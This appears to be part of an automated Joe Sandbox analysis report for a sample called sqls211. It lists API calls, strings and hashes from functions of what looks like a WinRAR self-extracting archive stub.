GetModuleHandleW.KERNEL32(00000000), ref: 00CDE061
LoadIconW.USER32(00000000,00000064), ref: 00CDE078
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001B7E0,00000000), ref: 00CDE0C9
Sleep.KERNEL32(?), ref: 00CDE0F7
DeleteObject.GDI32 ref: 00CDE130
DeleteObject.GDI32(?), ref: 00CDE140
CloseHandle.KERNEL32 ref: 00CDE183

Strings

sfxname, xrefs: 00CDDFF9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00CDE039
STARTDLG, xrefs: 00CDE0BE
winrarsfxmappingfile.tmp, xrefs: 00CDDF77
C:\Users\user\Desktop, xrefs: 00CDDF33
sfxstime, xrefs: 00CDE055

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$CommandCurrentDialogDirectoryGdiplusIconInitializeLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 3049964643-2656992072
Opcode ID: 7e028a9a323587d8fa3e6ec615caf6676ef0974dca994f9c39e27f35438fdd45
Instruction ID: ad3e4e2afdb8e70426ef12c3275aaf09c854915aef461ab4cb38d36035651922
Opcode Fuzzy Hash: 7e028a9a323587d8fa3e6ec615caf6676ef0974dca994f9c39e27f35438fdd45
Instruction Fuzzy Hash: E961D271A04345BBD320ABA4EC49F7F77A9AB45700F00442BFA4AD23A1DF749944D772

Function 00CDA6C2 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(?,PNG,00000000,?,?,?,00CDB73D,00000066), ref: 00CDA6D5
SizeofResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA6EC
LoadResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA703
LockResource.KERNEL32(00000000,?,?,?,00CDB73D,00000066), ref: 00CDA712
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,00CDB73D,00000066), ref: 00CDA72D
GlobalLock.KERNEL32(00000000), ref: 00CDA73E
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00CDA762
GlobalUnlock.KERNEL32(00000000), ref: 00CDA7C6

Part of subcall function 00CDA626: GdipAlloc.GDIPLUS(00000010), ref: 00CDA62C

GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00CDA7A7
GlobalFree.KERNEL32(00000000), ref: 00CDA7CD

Strings

PNG, xrefs: 00CDA6C6

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Global$Resource$AllocCreateGdipLock$BitmapFindFreeFromLoadSizeofStreamUnlock
String ID: PNG
API String ID: 211097158-364855578
Opcode ID: adc3c27d25da5ae141a146d576b775628e02a41f5722261a57d06cbd420e2505
Instruction ID: b1630b1cecd9fe471fb7be987c7451b9123abae896e4612ee5534265ed431519
Opcode Fuzzy Hash: adc3c27d25da5ae141a146d576b775628e02a41f5722261a57d06cbd420e2505
Instruction Fuzzy Hash: 5E319175600342BFD7109F21EC88E2F7BB9EF84761B15451AFA15C2321EB31DD44DAA2

Function 00CCA69B Relevance: 7.6, APIs: 5, Instructions: 105
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6C4

Part of subcall function 00CCBB03: _wcslen.LIBCMT ref: 00CCBB27

FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6F2
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA6FE
FindNextFileW.KERNEL32(?,?,?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA728
GetLastError.KERNEL32(?,?,?,?,00CCA592,000000FF,?,?), ref: 00CCA734

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next_wcslen
String ID:
API String ID: 42610566-0
Opcode ID: dc4b0683fa7bc1563b306c47cd28cbc6507c119b2241fc829546be79d818e682
Instruction ID: 0bd3d2119a5de08dabd0e148464633c5fee509b36daac70e3f78f8961415629b
Opcode Fuzzy Hash: dc4b0683fa7bc1563b306c47cd28cbc6507c119b2241fc829546be79d818e682
Instruction Fuzzy Hash: 8F418072500559ABCB25DF64CC88BE9B7B8FB48350F14419AE96DD3200D734AE90DF91

Function 00CE7DEE Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00CE7DC4,00000000,00CFC300,0000000C,00CE7F1B,00000000,00000002,00000000), ref: 00CE7E0F
TerminateProcess.KERNEL32(00000000,?,00CE7DC4,00000000,00CFC300,0000000C,00CE7F1B,00000000,00000002,00000000), ref: 00CE7E16
ExitProcess.KERNEL32 ref: 00CE7E28

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 873838a1e9dcb8ec512ab8134f66a8d386ebec8e86899bbd1ed0eb732709036a
Instruction ID: fd21ebdc42877ba7ef0112347b27df6dbfab407cbd84f431e280ab2befcbbcdd
Opcode Fuzzy Hash: 873838a1e9dcb8ec512ab8134f66a8d386ebec8e86899bbd1ed0eb732709036a
Instruction Fuzzy Hash: 03E09A31004294BFCB116F55DD0AB5A7F69AB50341B004555F8158B132CB35EE51DB91

Function 00CC848E Relevance: 2.5, APIs: 1, Instructions: 960COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CC8493

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 01559e70a9b012ed2665eec784eac0698f5ff233111a9a8faf3299cfc2fd602c
Instruction ID: 7c96fdd495a8cfb93c4b101d06abf84f789af1523dcd4e85a4bd20ff232e61cc
Opcode Fuzzy Hash: 01559e70a9b012ed2665eec784eac0698f5ff233111a9a8faf3299cfc2fd602c
Instruction Fuzzy Hash: 9482F870904245AEDF15DB64C895FFBBBB9AF05300F0841BEE8599B282DB705B8DDB60

Function 00CDB7E0 Relevance: 102.2, APIs: 48, Strings: 10, Instructions: 731windowfilesleepCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CDB7E5

Part of subcall function 00CC1316: GetDlgItem.USER32(00000000,00003021), ref: 00CC135A
Part of subcall function 00CC1316: SetWindowTextW.USER32(00000000,00CF35F4), ref: 00CC1370

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDB8D1
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDB8EF
IsDialogMessageW.USER32(?,?), ref: 00CDB902
TranslateMessage.USER32(?), ref: 00CDB910
DispatchMessageW.USER32(?), ref: 00CDB91A
GetDlgItemTextW.USER32(?,00000066,?,00000800), ref: 00CDB93D
KiUserCallbackDispatcher.NTDLL(?,00000001), ref: 00CDB960
GetDlgItem.USER32(?,00000068), ref: 00CDB983
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDB99E
SendMessageW.USER32(00000000,000000C2,00000000,00CF35F4), ref: 00CDB9B1

Part of subcall function 00CDD453: _wcslen.LIBCMT ref: 00CDD47D

SetFocus.USER32(00000000), ref: 00CDB9B8
_swprintf.LIBCMT ref: 00CDBA24

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

Part of subcall function 00CDD4D4: GetDlgItem.USER32(00000068,00D1FCB8), ref: 00CDD4E8
Part of subcall function 00CDD4D4: ShowWindow.USER32(00000000,00000005,?,?,?,00CDAF07,00000001,?,?,00CDB7B9,00CF506C,00D1FCB8,00D1FCB8,00001000,00000000,00000000), ref: 00CDD510
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDD51B
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00CF35F4), ref: 00CDD529
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDD53F
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CDD559
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDD59D
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CDD5AB
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDD5BA
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDD5E1
Part of subcall function 00CDD4D4: SendMessageW.USER32(00000000,000000C2,00000000,00CF43F4), ref: 00CDD5F0

GetLastError.KERNEL32(?,00000000,00000000,00000000,?), ref: 00CDBA68
GetLastError.KERNEL32(?,?,00000000,00000000,00000000,?), ref: 00CDBA90
GetTickCount.KERNEL32 ref: 00CDBAAE
_swprintf.LIBCMT ref: 00CDBAC2
GetLastError.KERNEL32(?,00000011), ref: 00CDBAF4
GetModuleFileNameW.KERNEL32(00000000,?,00000800,?,?,?,00000000,00000000,00000000,?), ref: 00CDBB43
_swprintf.LIBCMT ref: 00CDBB7C
CreateFileMappingW.KERNEL32(000000FF,00000000,08000004,00000000,00007104,winrarsfxmappingfile.tmp), ref: 00CDBBD0
GetCommandLineW.KERNEL32 ref: 00CDBBEA
MapViewOfFile.KERNEL32(00000000,00000002,00000000,00000000,00000000,?), ref: 00CDBC47
ShellExecuteExW.SHELL32(0000003C), ref: 00CDBC6F
Sleep.KERNEL32(00000064), ref: 00CDBCB9
UnmapViewOfFile.KERNEL32(?,?,0000430C,?,00000080), ref: 00CDBCE2
CloseHandle.KERNEL32(00000000), ref: 00CDBCEB
_swprintf.LIBCMT ref: 00CDBD1E
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDBD7D
SetDlgItemTextW.USER32(?,00000065,00CF35F4), ref: 00CDBD94
GetDlgItem.USER32(?,00000065), ref: 00CDBD9D
GetWindowLongW.USER32(00000000,000000F0), ref: 00CDBDAC
SetWindowLongW.USER32(00000000,000000F0,00000000), ref: 00CDBDBB
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDBE68
_wcslen.LIBCMT ref: 00CDBEBE
_swprintf.LIBCMT ref: 00CDBEE8
SendMessageW.USER32(?,00000080,00000001,?), ref: 00CDBF32
SendDlgItemMessageW.USER32(?,0000006C,00000172,00000000,?), ref: 00CDBF4C
GetDlgItem.USER32(?,00000068), ref: 00CDBF55
SendMessageW.USER32(00000000,00000435,00000000,00400000), ref: 00CDBF6B
GetDlgItem.USER32(?,00000066), ref: 00CDBF85
SetWindowTextW.USER32(00000000,00D0A472), ref: 00CDBFA7
SetDlgItemTextW.USER32(?,0000006B,00000000), ref: 00CDC007
SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDC01A
DialogBoxParamW.USER32(LICENSEDLG,00000000,Function_0001B5C0,00000000,?), ref: 00CDC0BD
EnableWindow.USER32(00000000,00000000), ref: 00CDC197
SendMessageW.USER32(?,00000111,00000001,00000000), ref: 00CDC1D9

Part of subcall function 00CDC73F: __EH_prolog.LIBCMT ref: 00CDC744

SetDlgItemTextW.USER32(?,00000001,00000000), ref: 00CDC1FD

Strings

%s, xrefs: 00CDBED8
"%s"%s, xrefs: 00CDBD0D
STARTDLG, xrefs: 00CDB801
<, xrefs: 00CDBB84
@, xrefs: 00CDBB91
winrarsfxmappingfile.tmp, xrefs: 00CDBBA6
C:\Users\user\Desktop, xrefs: 00CDBBC9
-el -s2 "-d%s" "-sp%s", xrefs: 00CDBB6B
__tmp_rar_sfx_access_check_%u, xrefs: 00CDBAB5
LICENSEDLG, xrefs: 00CDC0B2

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: Message$ItemSend$Text$Window$_swprintf$File$ErrorLast$DialogH_prologLongView_wcslen$CallbackCloseCommandCountCreateDispatchDispatcherEnableExecuteFocusHandleLineMappingModuleNameParamShellShowSleepTickTranslateUnmapUser__vswprintf_c_l
String ID: %s$"%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 3445078344-311033401
Opcode ID: ed0ecb5a5d0a6588793da6d0269fd358d0d8ce1065af8473500451ad807c1ca6
Instruction ID: b02bda95bf7c78da842c67a684774b6dcab831cf87a6c31d76e57226e2214bea
Opcode Fuzzy Hash: ed0ecb5a5d0a6588793da6d0269fd358d0d8ce1065af8473500451ad807c1ca6
Instruction Fuzzy Hash: DE42F470944349BAEB21AB60DC8AFBE776CAB11700F00405AF758E63D2CB749E45EB71

Function 00CD0863 Relevance: 52.8, APIs: 23, Strings: 7, Instructions: 316
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00CD087C
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CD088E
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CD08BF
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CD0B69
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CD0B83
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CD0B93
ReadFile.KERNEL32(00000000,?,00007FFE,00CF3C7C,00000000), ref: 00CD0BB1
CloseHandle.KERNEL32(00000000), ref: 00CD0C09
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CD0C1E
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00CF3C7C,?,00000000,?,00000800), ref: 00CD0C72
GetFileAttributesW.KERNELBASE(?,?,00CF3C7C,00000800,?,00000000,?,00000800), ref: 00CD0C9C
GetFileAttributesW.KERNEL32(?,?,00CF3D44,00000800), ref: 00CD0CD8

Part of subcall function 00CD081B: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD0836
Part of subcall function 00CD081B: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CCF2D8,Crypt32.dll,00000000,00CCF35C,?,?,00CCF33E,?,?,?), ref: 00CD0858

_swprintf.LIBCMT ref: 00CD0D4A
_swprintf.LIBCMT ref: 00CD0D96

Part of subcall function 00CC4092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC40A5

AllocConsole.KERNEL32 ref: 00CD0D9E
GetCurrentProcessId.KERNEL32 ref: 00CD0DA8
AttachConsole.KERNEL32(00000000), ref: 00CD0DAF
_wcslen.LIBCMT ref: 00CD0DC4
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00CD0DD5
WriteConsoleW.KERNEL32(00000000), ref: 00CD0DDC
Sleep.KERNEL32(00002710), ref: 00CD0DE7
FreeConsole.KERNEL32 ref: 00CD0DED
ExitProcess.KERNEL32 ref: 00CD0DF5

Strings

SetDllDirectoryW, xrefs: 00CD0888
kernel32, xrefs: 00CD0873
DXGIDebug.dll, xrefs: 00CD08FC, 00CD0C5E
SetDefaultDllDirectories, xrefs: 00CD08B9
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00CD0D84
uxtheme.dll, xrefs: 00CD0D17
dwmapi.dll, xrefs: 00CD0927, 00CD0D0D

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: 54abafdbe20e90ec84e5d34637c08f693bfadec972dff4449f6c91ed416def6d
Instruction ID: 88fac597f94b39c890bacd6e7a90e1782c3308493ea4fed0ef081fe67e66b801
Opcode Fuzzy Hash: 54abafdbe20e90ec84e5d34637c08f693bfadec972dff4449f6c91ed416def6d
Instruction Fuzzy Hash: 09D152F14183C8BBDB659F54C849BAFBBE8AF85704F50491EF38596250CBB08649CB63

Function 00CDC73F Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00CDC744

Part of subcall function 00CDB314: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 00CDB3FB

_wcslen.LIBCMT ref: 00CDCA0A
_wcslen.LIBCMT ref: 00CDCA13
SetWindowTextW.USER32(?,?), ref: 00CDCA71
_wcslen.LIBCMT ref: 00CDCAB3
_wcsrchr.LIBVCRUNTIME ref: 00CDCBFB
GetDlgItem.USER32(?,00000066), ref: 00CDCC36
SetWindowTextW.USER32(00000000,?), ref: 00CDCC46
SendMessageW.USER32(00000000,00000143,00000000,00D0A472), ref: 00CDCC54
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 00CDCC7F

Strings

%s.%d.tmp, xrefs: 00CDC940
<br>, xrefs: 00CDC9D4
Software\Microsoft\Windows\CurrentVersion, xrefs: 00CDCB1A
ProgramFilesDir, xrefs: 00CDCB45

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$MessageSendTextWindow$EnvironmentExpandH_prologItemStrings_wcsrchr
String ID: %s.%d.tmp$<br>$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion
API String ID: 2804936435-312220925
Opcode ID: 7ced57b9d40a36eb31721d8d7fb1a1b314e661118f840360119377b285b5e9f4
Instruction ID: ad2e6d5ee8039148ba8fc4a5a06468c1bedcf734e20bb20036a211b9adc8f1be
Opcode Fuzzy Hash: 7ced57b9d40a36eb31721d8d7fb1a1b314e661118f840360119377b285b5e9f4
Instruction Fuzzy Hash: 68E160B2900259AADB25DBA4DD85EEE73BCAB04310F0040A7F719E7250EF749F85DB61

Function 00CCDA67 Relevance: 23.4, APIs: 4, Strings: 9, Instructions: 663COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00CCDA70
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CCDAAC

Part of subcall function 00CCC29A: _wcslen.LIBCMT ref: 00CCC2A2

Part of subcall function 00CD05DA: _wcslen.LIBCMT ref: 00CD05E0

Part of subcall function 00CD1B84: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00CCBAE9,00000000,?,?,?,00010424), ref: 00CD1BA0

_wcslen.LIBCMT ref: 00CCDDE9
__fprintf_l.LIBCMT ref: 00CCDF1C

Strings

,, xrefs: 00CCDF57
R, xrefs: 00CCDC0C
RTL, xrefs: 00CCDEDE
, xrefs: 00CCDD6C
*messages***, xrefs: 00CCDBC1
$%s:, xrefs: 00CCDEFF
@%s:, xrefs: 00CCDF06, 00CCDF12
a, xrefs: 00CCDC16
*messages***, xrefs: 00CCDBFA

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056123969.0000000000D23000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_cc0000_sqls211.jbxd

Similarity

API ID: _wcslen$ByteCharFileH_prologModuleMultiNameWide__fprintf_l
String ID: $ ,$$%s:$*messages***$*messages***$@%s:$R$RTL$a
API String ID: 566448164-801612888
Opcode ID: b05fcc5c1feb721a29d01d870c6cc558f2cd1a78ad2a72b3ad9598002f197d52
Instruction ID: 8bef2f5362f6f36bed33b5595a108d5226be16f9609852e2329ae2571c6bf6c3
Opcode Fuzzy Hash: b05fcc5c1feb721a29d01d870c6cc558f2cd1a78ad2a72b3ad9598002f197d52
Instruction Fuzzy Hash: 9132D071900258ABCF24EF68C845FEE77A5EF15300F44016EFA1697281EBB1EE85DB90

Function 00CDD4D4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 97
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00CDB568: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00CDB579
Part of subcall function 00CDB568: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00CDB58A
Part of subcall function 00CDB568: IsDialogMessageW.USER32(00010424,?), ref: 00CDB59E
Part of subcall function 00CDB568: TranslateMessage.USER32(?), ref: 00CDB5AC
Part of subcall function 00CDB568: DispatchMessageW.USER32(?), ref: 00CDB5B6

GetDlgItem.USER32(00000068,00D1FCB8), ref: 00CDD4E8
ShowWindow.USER32(00000000,00000005,?,?,?,00CDAF07,00000001,?,?,00CDB7B9,00CF506C,00D1FCB8,00D1FCB8,00001000,00000000,00000000), ref: 00CDD510
SendMessageW.USER32(00000000,000000B1,00000000,000000FF), ref: 00CDD51B
SendMessageW.USER32(00000000,000000C2,00000000,00CF35F4), ref: 00CDD529
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDD53F
SendMessageW.USER32(00000000,0000043A,00000000,?), ref: 00CDD559
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDD59D
SendMessageW.USER32(00000000,000000C2,00000000,?), ref: 00CDD5AB
SendMessageW.USER32(00000000,000000B1,05F5E100,05F5E100), ref: 00CDD5BA
SendMessageW.USER32(00000000,00000444,00000001,0000005C), ref: 00CDD5E1
SendMessageW.USER32(00000000,000000C2,00000000,00CF43F4), ref: 00CDD5F0

Strings

\, xrefs: 00CDD549

Memory Dump Source

Source File: 00000002.00000002.2056014202.0000000000CC1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000002.00000002.2055998832.0000000000CC0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056046787.0000000000CF3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000CFE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D05000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2056063887.0000000000D22000.00000004.00000001.01000000.00000006.sdmpDownload File
